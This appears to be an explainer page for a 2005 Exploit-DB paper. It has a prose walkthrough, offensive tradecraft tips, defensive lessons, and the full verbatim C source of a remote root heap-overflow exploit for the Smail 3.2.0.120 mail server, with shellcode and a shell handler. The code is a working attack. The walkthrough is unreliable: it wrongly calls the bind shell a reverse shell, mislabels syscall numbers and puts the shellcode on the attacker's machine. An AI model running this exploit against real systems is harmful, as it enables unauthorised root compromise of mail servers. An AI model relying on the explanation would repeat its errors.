Smail 3.2.0.120 Remote Heap Overflow Explained

Smail 3.2.0.120 Remote Heap Overflow Explained
What this paper is
This paper details a remote heap overflow vulnerability in Smail version 3.2.0.120. The vulnerability allows an attacker to overwrite heap metadata, specifically the fd (forward) and bk (backward) pointers of a heap chunk, to gain control of program execution. The exploit achieves this by sending a specially crafted MAIL FROM: command to the Smail server, triggering the overflow during the preparse_address_1() function. Successful exploitation leads to a remote root shell.
Simple technical breakdown
Smail, a Mail Transfer Agent (MTA), handles incoming email. The preparse_address_1() function in version 3.2.0.120 has a buffer overflow vulnerability. When processing a MAIL FROM: command, it doesn't properly sanitize the input, allowing an attacker to send more data than the buffer can hold. This overflow spills into adjacent memory on the heap.
The exploit leverages this by overflowing a buffer allocated on the heap. Crucially, it overwrites the metadata of the next heap chunk. This metadata includes pointers (fd and bk) used by the memory allocator (likely dlmalloc or a similar implementation) to manage free lists. By carefully crafting these pointers, the attacker can trick the allocator into returning a pointer to a memory location of their choosing when a subsequent free() operation occurs on the overflowed chunk.
The exploit then places shellcode in the overflow data. When the free() operation is performed, the corrupted heap metadata causes the program to jump to the attacker-controlled retaddr (return address), which points to the shellcode. This shellcode then establishes a reverse shell connection back to the attacker.
Complete code and payload walkthrough
The provided C code implements the exploit. Let's break it down:
1. Includes and Definitions:
#include <stdio.h>,<ctype.h>, etc.: Standard C library includes for input/output, character handling, memory manipulation, network sockets, etc.#define BS 0x1000: Defines a buffer size of 4096 bytes, used for network communication buffers.#define SMTP_PORT 25: Defines the standard SMTP port.#define Z(x, len) memset((x), 0, (len)): A macro for zeroing out memory.#define die(x)and#define bye(fmt, args...): Macros for error handling and exiting.#define SHELL_LEN (sizeof(sc)-1): Calculates the length of the shellcode.#define SHELL_PORT 6969: Defines the port for the reverse shell.char sc[] = "...": This is the actual shellcode. It's a sequence of bytes designed to execute specific instructions.
Shellcode Breakdown (sc):
The shellcode is a Linux x86 (32-bit) payload. It's designed to establish a reverse TCP shell.
\xeb\x0e: Short jump (2 bytes). This is likely a small stub to skip over the "notexploitable" string."notexploitable": This string is present but likely not executed as part of the shellcode's primary function. It might be a placeholder or a message from the author.\x31\xc0:xor eax, eax- Clears theeaxregister to 0.\x50:push eax- Pushes the value ofeax(0) onto the stack.\x50:push eax- Pushes 0 again.\x66\xc7\x44\x24\x02\x1b\x39:mov word ptr [esp+2], 0x1b39- Sets up a word (16-bit) value atesp+2. This is part of setting up the socket address structure.\xc6\x04\x24\x02:mov byte ptr [esp], 0x2- Sets the first byte atespto 2. This is likely thesa_familyfield (AF_INET).\x89\xe6:mov esi, esp- Moves the current stack pointer (esp) intoesi.esiwill likely point to thesockaddr_instructure.\xb0\x02:mov al, 0x2- Setsalto 2. This is the syscall number forsys_socket.\xcd\x80:int 0x80- Triggers the Linux syscall. This creates a socket.\x85\xc0:test eax, eax- Checks if the syscall returned an error (eax < 0).\x74\x08:je 0x8- Ifeaxis zero (no error), jump 8 bytes forward. This is likely to skip error handling.\x31\xc0:xor eax, eax- Clearseax.\x31\xdb:xor ebx, ebx- Clearsebx.\xb0\x01:mov al, 0x1- Setsalto 1. This is the syscall number forsys_connect.\xcd\x80:int 0x80- Triggers thesys_connectsyscall. This attempts to connect to the attacker's machine.\x50:push eax- Pushes the socket file descriptor onto the stack.\x6a\x01:push 0x1- Pushes 1 onto the stack (likelySOL_SOCKET).\x6a\x02:push 0x2- Pushes 2 onto the stack (likelySO_REUSEADDR).\x89\xe1:mov ecx, esp- Moves the stack pointer intoecx. This points to the options forsetsockopt.\x31\xdb:xor ebx, ebx- Clearsebx.\xb0\x66:mov al, 0x66- Setsalto 0x66. This is the syscall number forsys_setsockopt.\xb3\x01:mov bl, 0x1- Setsblto 1. This is the syscall number forsys_setsockopt.\xcd\x80:int 0x80- Triggerssys_setsockopt. This is likely to setSO_REUSEADDRon the socket.\x89\xc5:mov ebp, eax- Moves the socket file descriptor fromeaxintoebp.\x6a\x10:push 0x10- Pushes 16 (decimal) onto the stack. This is likely the size of thesockaddr_instructure.\x56:push esi- Pushes thesockaddr_instructure (pointed to byesi) onto the stack.\x50:push eax- Pushes the socket file descriptor onto the stack.\x89\xe1:mov ecx, esp- Moves the stack pointer intoecx. This points to the arguments forsys_connect.\xb0\x66:mov al, 0x66- Setsalto 0x66. This is the syscall number forsys_connect.\xb3\x03:mov bl, 0x3- Setsblto 3. This is the syscall number forsys_bind.\xcd\x80:int 0x80- Triggerssys_bind. This binds the socket to a local address and port (likely 0.0.0.0:6969).\x6a\x01:push 0x1- Pushes 1 onto the stack. This is the syscall number forsys_listen.\x55:push ebp- Pushes the socket file descriptor onto the stack.\x89\xe1:mov ecx, esp- Moves the stack pointer intoecx. This points to the arguments forsys_listen.\xb0\x66:mov al, 0x66- Setsalto 0x66. This is the syscall number forsys_listen.\xb3\x04:mov bl, 0x4- Setsblto 4. This is the syscall number forsys_listen.\xcd\x80:int 0x80- Triggerssys_listen. This puts the socket in listening mode.\x31\xc0:xor eax, eax- Clearseax.\x50:push eax- Pushes 0 onto the stack.\x50:push eax- Pushes 0 onto the stack.\x55:push ebp- Pushes the socket file descriptor onto the stack.\x89\xe1:mov ecx, esp- Moves the stack pointer intoecx. This points to the arguments forsys_accept.\xb0\x66:mov al, 0x66- Setsalto 0x66. This is the syscall number forsys_accept.\xb3\x05:mov bl, 0x5- Setsblto 5. This is the syscall number forsys_accept.\xcd\x80:int 0x80- Triggerssys_accept. This accepts an incoming connection. The new socket file descriptor is returned ineax.\x89\xc5:mov ebp, eax- Moves the new socket file descriptor intoebp.\x31\xc0:xor eax, eax- Clearseax.\x89\xeb:mov ebx, esp- This seems unusual. It might be setting up fordup2orexecvelater.\x31\xc9:xor ecx, ecx- Clearsecx.\xb0\x3f:mov al, 0x3f- Setsalto 0x3f. This is the syscall number forsys_dup2.\xcd\x80:int 0x80- Triggerssys_dup2. This is used to duplicate file descriptors. The shellcode will likelydup2the accepted socket to stdin, stdout, and stderr.\x41:inc ecx- Incrementsecx(which was 0) to 1.\x80\xf9\x03:cmp cl, 0x3- Comparescl(lower 8 bits ofecx) with 3.\x7c\xf6:jl 0xf6- Ifclis less than 3, jump back 10 bytes (to theinc ecx). This loop will run 3 times, duplicating the socket to file descriptors 0, 1, and 2.\x31\xc0:xor eax, eax- Clearseax.\x50:push eax- Pushes 0 onto the stack.\x68\x2f\x2f\x73\x68:push 0x68732f2f- Pushes the ASCII string "//sh" onto the stack (little-endian).\x68\x2f\x62\x69\x6e:push 0x6e69622f- Pushes the ASCII string "/bin" onto the stack (little-endian).\x89\xe3:mov ebx, esp- Moves the stack pointer intoebx.ebxnow points to "/bin//sh".\x50:push eax- Pushes 0 onto the stack.\x53:push ebx- Pushes the pointer to "/bin//sh" onto the stack.\x89\xe1:mov ecx, esp- Moves the stack pointer intoecx.ecxnow points to the arguments forexecve.\x99:cdq- Sign-extendseaxintoedx.eaxis 0, soedxbecomes 0.\xb0\x0b:mov al, 0xb- Setsalto 11. This is the syscall number forsys_execve.\xcd\x80:int 0x80- Triggerssys_execve. This executes/bin/sh.
2. mchunk_t Structure:
typedef struct _mchunk { ... } mchunk_t;: This structure represents a chunk of memory as managed by a typicalmallocimplementation (like dlmalloc).size_t dummy;: Often used for alignment or as a placeholder.size_t prevsz;: The size of the previous chunk.size_t sz;: The size of the current chunk.long fd;: Forward pointer in the doubly linked list of free chunks.long bk;: Backward pointer in the doubly linked list of free chunks.
#define CHUNKSZ 0xfffffff8: A large value, likely used to represent a chunk size that will cause an overflow.#define CHUNKLEN sizeof(mchunk_t): The size of themchunk_tstructure.
3. Network Helper Functions:
Send(int s, const void *buf, size_t len, int flags): A wrapper around thesend()system call that includes error handling.Recv(int s, void *buf, size_t len, int flags): A wrapper around therecv()system call that includes error handling.conn(char *host, u_short port): Establishes a TCP connection to a given host and port. It usesgethostbynameto resolve the hostname andsocket/connectto establish the connection.
4. shell(char *host, u_short port) Function:
- This function is responsible for handling the reverse shell connection after the exploit has succeeded.
- It connects to the attacker-controlled shell server (specified by
hostandSHELL_PORT). - It then enters a loop using
select()to monitor both standard input (STDIN_FILENO) and the socket (sock). - If data is available on standard input, it's read and sent to the shell server.
- If data is available from the shell server, it's read and written to standard output.
- This creates an interactive shell session.
5. parse_args(int argc, char **argv, ...) Function:
- Parses command-line arguments:
host: The target Smail server hostname or IP address.npad: The amount of padding to send before the overflow data. This is crucial for aligning the heap.retloc: The address where thepreparse_address_1function's return address is expected to be on the stack. This is where the exploit will overwrite the return address.retaddr: The address to which the program should jump after the overflow. This is the address of the shellcode.
6. sploit(int sock, int npad, u_int retloc, u_int retaddr) Function:
- This is the core of the exploit logic.
- It first receives the server's greeting and sends a
HELOcommand. - Heap Overflow Construction:
memset(pad, 'A', npad);: Fills thepadbuffer with 'A' characters for padding.chunk.dummy = CHUNKSZ;,chunk.prevsz = CHUNKSZ;,chunk.sz = CHUNKSZ;: These fields of themchunk_tstructure are set to large values. Theszfield being large is crucial for triggering the overflow.chunk.fd = retloc - 12;: This is a critical part. Thefdpointer is set to an address that is likely to be overwritten by the attacker's shellcode. The-12offset is specific to the memory layout and how thepreparse_address_1function uses the heap. It aims to point to the location where the shellcode will reside.chunk.bk = retaddr;: Thebkpointer is set to the address of the shellcode (retaddr). This is the target for the heap corruption.memcpy(evil, &chunk, CHUNKLEN);: Copies the craftedmchunk_tstructure into theevilbuffer.evil[CHUNKLEN] = 0;: Null-terminates theevilbuffer.
- Sending the Overflow:
snprintf(buf, BS, "MAIL FROM:<A!@A:%s> %s%s\n", pad, evil, sc);: Constructs the maliciousMAIL FROM:command.A!@A:: This part is likely a placeholder for the email address.%s: This is where thepadbuffer (filled with 'A's) is inserted. This padding is essential for aligning the heap.%s: This is where theevilbuffer (containing the corruptedmchunk_tstructure) is inserted. This is the data that overwrites the heap metadata.%s: This is where the shellcode (sc) is appended. The shellcode is placed after the corrupted chunk metadata.
Send(sock, buf, n, 0);: Sends the crafted command to the Smail server.
- The code then waits for
SLEEP_TIMEseconds, giving the server time to process the overflow and execute the shellcode.
7. main(int argc, char **argv) Function:
- The entry point of the program.
- Calls
parse_argsto get the target host, padding, return location, and return address. - Prints some introductory messages.
- Connects to the Smail server on
SMTP_PORT. - Calls
sploitto trigger the vulnerability. - Prints a message indicating the attempt to redefine "definitely."
- Calls
shellto establish the reverse shell connection if the exploit was successful.
Mapping of Code Fragments to Practical Purpose:
char sc[] = "...": Practical Purpose: The actual machine code instructions that will be executed on the target system to establish a reverse shell.mchunk_tstructure and its fields (fd,bk): Practical Purpose: Represents the metadata of a heap memory block. The exploit manipulatesfdandbkto control memory allocation and redirection.sploitfunction: Practical Purpose: Orchestrates the attack by crafting and sending the malicious SMTP command.snprintf(buf, BS, "MAIL FROM:<A!@A:%s> %s%s\n", pad, evil, sc);: Practical Purpose: The precise construction of the network packet that exploits the heap overflow. Thepadbuffer is for heap alignment,evilcontains the corrupted heap metadata, andscis the shellcode.chunk.fd = retloc - 12;andchunk.bk = retaddr;: Practical Purpose: These lines are the core of the heap corruption. They set up thefdandbkpointers to point to the attacker's shellcode, aiming to hijack control flow during afree()operation.shellfunction: Practical Purpose: Provides the interactive command-line interface for the attacker once the shell is obtained.
Practical details for offensive operations teams
- Required Access Level: Network access to the target Smail server on port 25. No local access is required.
- Lab Preconditions:
- A vulnerable Smail 3.2.0.120 instance running on a Linux system.
- The target system must be reachable from the attacker's network.
- The attacker's machine must be listening on
SHELL_PORT(6969) for the reverse shell. - Firewall rules must allow outbound connections from the target to the attacker's IP on port 6969.
- Tooling Assumptions:
- The exploit is written in C and requires a GCC compiler to build.
- Standard Linux utilities (
netcator similar) are needed on the attacker's machine to listen for the reverse shell.
- Execution Pitfalls:
- Heap Alignment: The most significant challenge is achieving correct heap alignment. The
npadvalue is critical and will likely need to be determined through trial and error or by analyzing the target's memory layout. The author notes that alignment can differ between systems. xmalloc/xfreeCookie: The author mentions thatxmallocandxfreeuse a cookie. If this cookie is not correctly handled or if the overflow occurs in a way thatxfreedetects a bad cookie, the exploit might fail or trigger logging functions that could be further exploited. The exploit as written seems to bypass this by directly corrupting thefd/bkpointers.- Return Address Location (
retloc): Theretlocvalue is crucial. It needs to point to the correct location on the stack where the return address ofpreparse_address_1is stored. This is highly dependent on the target system's architecture, compiler, and Smail's compilation flags. - Shellcode Address (
retaddr): Theretaddrmust point to the actual location of the shellcode in memory. This is also dependent on the heap layout and how the overflow is triggered. The-12offset inchunk.fdis an attempt to align thefdpointer correctly relative to the shellcode. - ASLR/DEP: Modern systems with Address Space Layout Randomization (ASLR) and Data Execution Prevention (DEP) would make this exploit significantly harder or impossible without additional techniques (e.g., information leaks to bypass ASLR, return-to-libc to bypass DEP). This exploit is from 2005, predating widespread ASLR.
- Network Latency/Packet Loss: Unreliable network conditions could cause the exploit packet to be lost or corrupted, leading to failure.
- Heap Alignment: The most significant challenge is achieving correct heap alignment. The
- Tradecraft Considerations:
- Reconnaissance: Thorough reconnaissance of the target environment is essential to determine the Smail version and potentially its build configuration to estimate
retlocandretaddr. - Staging: The exploit requires a direct connection to the Smail server. If the target is behind strict firewalls, a pivot or proxy might be necessary.
- Post-Exploitation: Once a shell is obtained, the attacker would typically aim to escalate privileges further if not already root, establish persistence, and exfiltrate data.
- Covertness: The exploit uses standard SMTP traffic, which might blend in with normal network activity. However, the specific
MAIL FROM:format and the subsequent shell connection are indicators.
- Reconnaissance: Thorough reconnaissance of the target environment is essential to determine the Smail version and potentially its build configuration to estimate
Where this was used and when
- Approximate Year: Published in March 2005. This exploit targets a vulnerability that existed prior to this date.
- Context: This exploit was likely used in penetration testing engagements or by malicious actors targeting organizations running vulnerable versions of Smail. Smail was a popular MTA, especially in Unix-like environments. The exploit targets a specific version, indicating it was likely discovered and weaponized for that particular release.
Defensive lessons for modern teams
- Patch Management: The most fundamental lesson is the importance of keeping software up-to-date. This vulnerability was patched in later versions of Smail. Regularly applying security patches is crucial.
- Input Validation: Smail failed to properly validate input in the
preparse_address_1function, leading to the buffer overflow. Robust input validation is a cornerstone of secure coding. - Heap Exploitation Awareness: Understanding heap exploitation techniques is vital for defenders. While this specific exploit is old, heap corruption vulnerabilities remain a significant threat. Defenders need to be aware of how attackers manipulate heap metadata.
- Memory Allocator Security: Modern memory allocators have built-in checks (like cookies) to detect corruption. However, attackers continuously find ways to bypass these. Keeping the memory allocator updated and understanding its security features is important.
- Sandboxing and Privilege Separation: Running services like MTAs in sandboxed environments or with minimal privileges can limit the impact of a successful exploit. Even if an attacker gains a shell, they might not immediately achieve root privileges.
- Intrusion Detection Systems (IDS/IPS): Network-based IDS/IPS systems can be configured to detect anomalous SMTP traffic patterns or known exploit signatures.
- Endpoint Detection and Response (EDR): EDR solutions can detect suspicious process behavior, such as unexpected network connections or the execution of shellcode, on the server itself.
- ASLR and DEP: While not directly addressed by the exploit code itself, modern operating systems employ ASLR and DEP to make such exploits much harder. Ensuring these protections are enabled and effective is critical.
ASCII visual (if applicable)
This exploit involves heap manipulation, which can be visualized as memory blocks.
+---------------------+
| Smail Process |
+---------------------+
| ... |
| +-----------------+ |
| | Heap Memory | |
| | +-------------+ | |
| | | Chunk A | | |
| | | (Overflowed)| | |
| | +-------------+ | |
| | +-------------+ | |
| | | Chunk B | | | <-- Attacker overwrites fd/bk pointers
| | | (Corrupted) | | |
| | +-------------+ | |
| | ... | |
| +-----------------+ |
| ... |
+---------------------+
|
| (SMTP Connection)
v
+---------------------+
| Attacker Machine |
| +-----------------+ |
| | Shellcode | | <-- Target of corrupted fd/bk
| +-----------------+ |
+---------------------+Explanation:
- The
Smail Processhas a region of memory dedicated to theHeap. Chunk Ais a buffer that gets overflowed.Chunk Bis the chunk immediately followingChunk Aon the heap. The exploit overwritesChunk B's metadata (fdandbkpointers).- The
fdandbkpointers inChunk Bare manipulated to point to the attacker'sShellcodeon theAttacker Machine. - When Smail's memory manager attempts to
free()Chunk A(or a related operation), it uses the corruptedfd/bkpointers fromChunk B, leading to control flow being redirected to the shellcode.
Source references
- Paper ID: 900
- Paper Title: Smail 3.2.0.120 - Remote Heap Overflow
- Author: infamous41md
- Published: 2005-03-28
- Keywords: Linux, remote
- Paper URL: https://www.exploit-db.com/papers/900
- Raw URL: https://www.exploit-db.com/raw/900
Original Exploit-DB Content (Verbatim)
/*
*
* 0
*
* smail preparse_address_1() heap bof remote root exploit
*
* infamous42md AT hotpop DOT com
*
* Shouts:
*
* BMF, wipe with the left, eat with the right
*
* Notes:
*
* You can't have any characters in overflow buffer that isspace() returns true
* for. The shellcode is clear of them, but if your return address or retloc
* has one you gotta figure out another one. My slack box has that situation,
* heap is at 0x080d.. My gentoo laptop had no such problem and all was fine. I
* don't have anymore time to BS around with this and make perfect for any and
* all, b/c I've got exam to study for and Law and Order:CI is on in an hour.
* If the heap you're targetting is the same way, then try filling it up using
* some other commands. If the GOT you're targetting is at such address than
* overwrite a return address on the stack. Surely there's a way, check out the
* source and be creative; I'm sure there are some memory leaks somewhere you
* can use to fill up heap as well.
*
* You might run into some ugliness trying to automate this for a couple
* reasons. xmalloc() stores a cookie in front of buffer, and xfree() checks
* for this cookie before calling free(). So you're going to need that aligned
* properly unless you can cook up a way to exploit it when it bails out in
* xfree() b/c of bad cookie and calls write_log() (this func calls malloc() so
* maybe you can be clever and do something there). Furthermore I found that
* when trying to trigger this multiple times the alignment was different each
* time. There are "definitely" more reliable ways to exploit this if you take
* a deeper look into code which I don't have time to do right now. The padding
* parameter controls the alignment and the size of the chunk being allocated.
* You'll probably have to play with it. Yes that's fugly.
*
* [n00b@crapbox.outernet] ./a.out
* Usage: ./a.out < host > < padding > < retloc > < retaddr >
*
* [n00b@crapbox.outernet] ./a.out localhost 64 0xbffff39c 0x8111ea0
* --{ Smack 1.oohaah
*
* --{ definitely, adv.:
* --{ 1. Having distinct limits
* --{ 2. Indisputable; certain
* --{ 3. Clearly defined; explicitly precise
*
* --{ Said HELO
*
* --{ Sent MAIL FROM overflow
*
* --{ Going for shell in 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1
*
* --{ Attempting to redefine the meaning of 'definitely'
*
* --{ Got a shell
*
* --{ Updating Webster's
* --{ definitely, adv.:
* --{ 1. See specious
*
* --{ For the linguistically challenged...
* --{ specious, adj. :
* --{ 1. Having the ring of truth or plausibility but actually fallacious
* --{ 2. Deceptively attractive
*
* id
* uid=0(root) gid=0(root)
* echo PWNED
* PWNED
*
* - Connection closed by user
*
*/
#include <stdio.h>
#include <ctype.h>
#include <sys/types.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/select.h>
#include <arpa/inet.h>
/* */
#define BS 0x1000
#define SMTP_PORT 25
#define Z(x, len) memset((x), 0, (len))
#define die(x) do{ perror((x)); exit(EXIT_FAILURE); }while(0)
#define bye(fmt, args...) do{ fprintf(stderr, fmt"\n", ##args); exit(EXIT_FAILURE); }while(0)
/* fat bloated call them shell code */
#define SHELL_LEN (sizeof(sc)-1)
#define SHELL_PORT 6969
#define NOP 0x90
char sc[] =
"\xeb\x0e""notexploitable"
"\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x39\xc6\x04\x24\x02\x89\xe6\xb0\x02"
"\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50\x6a\x01\x6a\x02"
"\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a\x10\x56\x50\x89\xe1\xb0"
"\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31\xc0\x31\xdb\xb0\x66\xb3\x04\xcd"
"\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89"
"\xeb\x31\xc9\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f"
"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x6b\x2c\x60\xcd"
"\x80";
/* a dlmalloc chunk descriptor */
#define CHUNKSZ 0xfffffff8
#define CHUNKLEN sizeof(mchunk_t)
typedef struct _mchunk {
size_t dummy;
size_t prevsz;
size_t sz;
long fd;
long bk;
} mchunk_t;
/* */
ssize_t Send(int s, const void *buf, size_t len, int flags)
{
ssize_t n;
n = send(s, buf, len, flags);
if(n < 0)
die("send");
return n;
}
/* */
ssize_t Recv(int s, void *buf, size_t len, int flags)
{
ssize_t n;
n = recv(s, buf, len, flags);
if(n < 0)
die("recv");
return n;
}
/* */
int conn(char *host, u_short port)
{
int sock = 0;
struct hostent *hp;
struct sockaddr_in sa;
memset(&sa, 0, sizeof(sa));
hp = gethostbyname(host);
if (hp == NULL) {
bye("gethostbyname failed with error %s", hstrerror(h_errno));
}
sa.sin_family = AF_INET;
sa.sin_port = htons(port);
sa.sin_addr = **((struct in_addr **) hp->h_addr_list);
sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0)
die("socket");
if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0)
die("connect");
return sock;
}
/* */
void shell(char *host, u_short port)
{
int sock = 0, l = 0;
char buf[BS];
fd_set rfds;
sock = conn(host, port);
printf("--{ Got a shell\n\n"
"--{ Updating Webster's\n"
"--{ definitely, adv.:\n"
"--{ 1. See specious\n\n"
"--{ For the linguistically challenged...\n"
"--{ specious, adj. :\n"
"--{ 1. Having the ring of truth or plausibility but "
"actually fallacious\n"
"--{ 2. Deceptively attractive\n\n"
);
FD_ZERO(&rfds);
while (1) {
FD_SET(STDIN_FILENO, &rfds);
FD_SET(sock, &rfds);
if (select(sock + 1, &rfds, NULL, NULL, NULL) < 1)
die("select");
if (FD_ISSET(STDIN_FILENO, &rfds)) {
l = read(0, buf, BS);
if(l < 0)
die("read");
else if(l == 0)
bye("\n - Connection closed by user\n");
if (write(sock, buf, l) < 1)
die("write");
}
if (FD_ISSET(sock, &rfds)) {
l = read(sock, buf, sizeof(buf));
if (l == 0)
bye("\n - Connection terminated.\n");
else if (l < 0)
die("\n - Read failure\n");
if (write(STDOUT_FILENO, buf, l) < 1)
die("write");
}
}
}
/* */
int parse_args(int argc, char **argv, char **host, int *npad,
u_int *retloc, u_int *retaddr)
{
if(argc < 5)
return 1;
*host = argv[1];
if(sscanf(argv[2], "%d", npad) != 1)
return 1;
if(sscanf(argv[3], "%x", retloc) != 1)
return 1;
if(sscanf(argv[4], "%x", retaddr) != 1)
return 1;
return 0;
}
/* */
void sploit(int sock, int npad, u_int retloc, u_int retaddr)
{
ssize_t n = 0;
u_char buf[BS], pad[BS], evil[BS];
mchunk_t chunk;
Z(buf, BS), Z(pad, BS), Z(evil, BS), Z(&chunk, CHUNKLEN);
/* read greeting */
n = Recv(sock, buf, BS, 0);
if(n == 0)
bye("Server didn't even say hi");
/* send HELO */
n = snprintf(buf, BS, "HELO localhost\r\n");
Send(sock, buf, n, 0);
Z(buf, BS);
n = Recv(sock, buf, BS, 0);
if(n == 0)
bye("Server didn't respond to HELO");
printf("--{ Said HELO\n\n");
/*
* Build evil chunk overflow. The need to align chunk exactly makes this
* not so robust. In my short testing I wasn't able to get free() called
* directly on an area of memory we control. I'm sure you can though if you
* take some time to study process heap behavior. Note though that you'll
* have to fill in the magic cookie field that xmalloc()/xfree() and some
* other functions use, so you'll still need to have it aligned properly
* which defeats the whole purpose. This exploits the free() call on the
* buffer we overflow, so you have to align the next chunk accordingly.
* Anyhow on newest glibc there is a check for negative size field on the
* chunk being freed, and program dies if it is negative (the exact
* condition is not negative, but it has that effect pretty much, but go
* look yourself ;)), So the techniques outlined by gera in phrack don't
* work (being able to point all chunks at our two evil chunks). Check out
* most recent glibc code in _int_free() if you haven't already.
*/
memset(pad, 'A', npad);
chunk.dummy = CHUNKSZ;
chunk.prevsz = CHUNKSZ;
chunk.sz = CHUNKSZ;
chunk.fd = retloc - 12;
chunk.bk = retaddr;
memcpy(evil, &chunk, CHUNKLEN);
evil[CHUNKLEN] = 0;
/* send the overflow */
n = snprintf(buf, BS, "MAIL FROM:<A!@A:%s> %s%s\n", pad, evil, sc);
Send(sock, buf, n, 0);
Z(buf, BS);
printf("--{ Sent MAIL FROM overflow\n\n");
#define SLEEP_TIME 15
setbuf(stdout, NULL);
printf("--{ Going for shell in ");
for(n = 0; n < SLEEP_TIME; n++){
printf("%d ", SLEEP_TIME-n);
sleep(1);
}
puts("\n");
}
/*
*/
int main(int argc, char **argv)
{
int sock = 0, npad = 0;
u_int retloc = 0, retaddr = 0;
char *host = NULL;
if(parse_args(argc, argv, &host, &npad, &retloc, &retaddr))
bye("Usage: %s < host > < padding > < retloc > < retaddr >\n", argv[0]);
printf("--{ Smack 1.oohaah\n\n");
sock = conn(host, SMTP_PORT);
printf("--{ definitely, adv.:\n"
"--{ 1. Having distinct limits\n"
"--{ 2. Indisputable; certain\n"
"--{ 3. Clearly defined; explicitly precise\n\n"
);
sploit(sock, npad, retloc, retaddr);
printf("--{ Attempting to redefine the meaning of 'definitely'\n\n");
shell(host, SHELL_PORT);
return EXIT_SUCCESS;
}
// milw0rm.com [2005-03-28]